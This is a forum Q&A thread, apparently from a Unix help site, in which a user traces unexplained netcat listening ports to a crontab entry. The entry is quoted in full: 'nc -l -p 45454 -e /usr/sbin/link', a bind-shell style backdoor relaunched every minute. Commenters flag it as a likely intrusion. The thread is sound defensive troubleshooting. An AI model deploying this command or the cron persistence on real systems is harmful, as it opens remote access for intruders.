0

I am struggling to close these ports which seem to be backdoors -- or at least I have never opened and used them. How can I close or shutdown nc and close these ports?

netstat -lntup | grep nc 

netstat output

ps-ef 

ps -ef output

  • You may able to use the PPID of the nc processes to identify where the processes are coming from. Perhaps a runaway script? – Haxiel Nov 23 '18 at 11:28
  • thanks, I am new linux OS, should I check process id? – ARH Nov 23 '18 at 11:35
  • Yes, you can run ps -ef|grep nc and add the output to the question. – Haxiel Nov 23 '18 at 11:38
  • Thanks @Haxiel, I haved added the output for ps – ARH Nov 23 '18 at 12:09
  • I can see the update, but please don't post images of text. The third column in that output is the parent PID of a process. You can examine parent process using ps -p PID. For example, the first nc process (925) has process 922 as its parent, which again has 921 as its parent. Keep tracing the process parent and see if you can get any useful information. – Haxiel Nov 23 '18 at 12:35
1

After further investigation through chat, the problem was identified with a specific crontab on OP's system. This was identified using the parent PID of the nc process, which showed the following connection:

nc -l -p 45454 -e /usr/sbin/link -> /bin/sh -c nc -l -p 45454 -e /usr/sbin/link -> /usr/sbin/CRON -f

The user account associated with the nc process was named 'link', and had a crontab associated with it. This crontab contained a cron job with the same nc command, scheduled to be run every minute. Since the nc command had been specified to listen indefinitely, new nc processes were being created every minute.

The issue was resolved by commenting out the specific entry in the crontab file.

  • 1
    That chain of processes has some suspicious properties: /usr/sbin/link is not a standard command, although the name closely resembles the standard /usr/bin/link, which would be nonsensical to call from nc like that. Likewise, /usr/sbin/CRON in all-caps is different from the standard /usr/sbin/cron. You should see if /usr/sbin/link and/or /usr/sbin/CRON actually exist, and get them analyzed if they do exist; you may find that they are parts of an intruder's toolkit. There might be an innocent explanation too, but it is possible that someone has (clumsily) hacked this system. – telcoM Nov 25 '18 at 12:36
  • @telcoM Thanks for the useful info. I'll point OP to your comment from chat. – Haxiel Nov 25 '18 at 13:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.